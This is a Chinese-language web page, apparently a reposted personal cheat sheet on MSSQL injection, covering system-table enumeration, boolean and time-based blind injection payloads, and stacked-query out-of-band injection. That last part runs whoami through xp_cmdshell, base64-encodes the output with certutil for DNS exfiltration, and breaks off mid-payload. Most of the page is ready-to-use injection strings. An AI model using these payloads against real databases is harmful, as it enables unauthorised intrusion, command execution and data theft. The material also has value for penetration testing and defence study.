小工具知识网

当前位置: 首页 > 行业知识 > 个人MSSQL总结及收集

行业知识

个人MSSQL总结及收集

2026-11-10 20:06:26 来源:互联网转载

常规MSSQL注入

判断是否站库分离

1、���到客户端主机名:
select host_name();

2、得到服务端主机名:
select @@servername;

如下所示,就是一个典型的站库分离
@@servername > 0
select host_name > 0

基本语法:
select  host_name();
select  current_user; 查看当前用户——显示dbo,其实dbo和sa是一个东西,一个是登录名一个是用户名
select  db_name(); 查看当前库名
select * from sysobject 查询数据库里所有的表,里面有多个字段,xtype=U为用户创建的表名,uid为所有者对象的用户ID

select object_id(‘xxxx’) 查询特定的数据表,返回一个id
select object_name(‘123456’) 查询特定的id,返回一个表名
select col_name(‘123456’,1) 查询特定ID(特定表)的特定字段,返回此字段(column)的值

基础知识

**Sysdatabases表:**该表保存在master数据库中,这个表中保存的是所有的库名,以及库的ID,和一些相关信息
**Sysobjects表: **SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、 默认值、日志、规则、存储过程等,每个对象在表中占一行。
以下是此系统表的字段名称和相关说明:
**Name, id, xtype, uid, status: **分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。
**当xtype=‘U’ and status>0 **代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。
**Syscolumns表:**该表位于每个数据库中。主要字段有: name , id, colid :分别是字段名称,表ID号,
字段ID号,其中的 ID 是用sysobjects得到的表的ID号

内置系统查询表
select name from master…sysdatabases; //查找所有的数据库名

SELECT name FROM master…sysdatabases WHERE name NOT IN ( ‘master’,‘model’, ‘msdb’, ‘tempdb’, ‘northwind’,‘pubs’ ); //查找所有的数据库名

select name from sysobjects where xtype=‘U’; //查找所有用户创建的数据表

select name from test…sysobjects where xtype=‘U’ //查找指定test库下所有表名

select name from syscolumns where id=(select id from 数据库名…sysobjects where name=‘表名’)
//列出指定库下的表下面的列名

如:select name from syscolumns where id=(select id from test..sysobjects where name='dtest')
3)MSSQL的盲注

1、?id=1 and substring((select db_name()),1,1)= CHAR(106)  判断当前数据库第一个字符为106

4)时间盲注

id=1’;waitfor delay ‘0:0:5’ – 如果是sysadmin权限,则延时5秒
1’;if ( select IS_SRVROLEMEMBER(‘sysadmin’))=1 WAITFOR DELAY ‘0:0:5’–

5)mssql带外注入

1、在某些情况下,sqlmap使用os-shell来获取权限需要堆叠,不是它说没有就没有(有时候它会抽风),
此时我们可以进行DNS外带的验证,前提是要出网
1、
select * from table_1 where id=‘1’;exec master…xp_cmdshell ‘whoami>C:\ProgramData\temp && certutil -encode C:\ProgramData\temp C:\ProgramData\temp1 && findstr /L /V “CERTIFICATE” C:\ProgramData\temp1>C:\ProgramData\temp2’;

此时temp2内容为——bXNpXGFkbWluaXN0cmF0b3INCg==

因为ping不支持等于号,所以建议使用Nslookup
2、select * from table_1 where id=‘1’;exec master…xp_cmdshell ““cmd /v /c “set /p MYVAR=

上一篇:揭秘海康威视领先科技,源码探秘与行业巨头内部秘籍!

下一篇:宝塔面板怎么安装?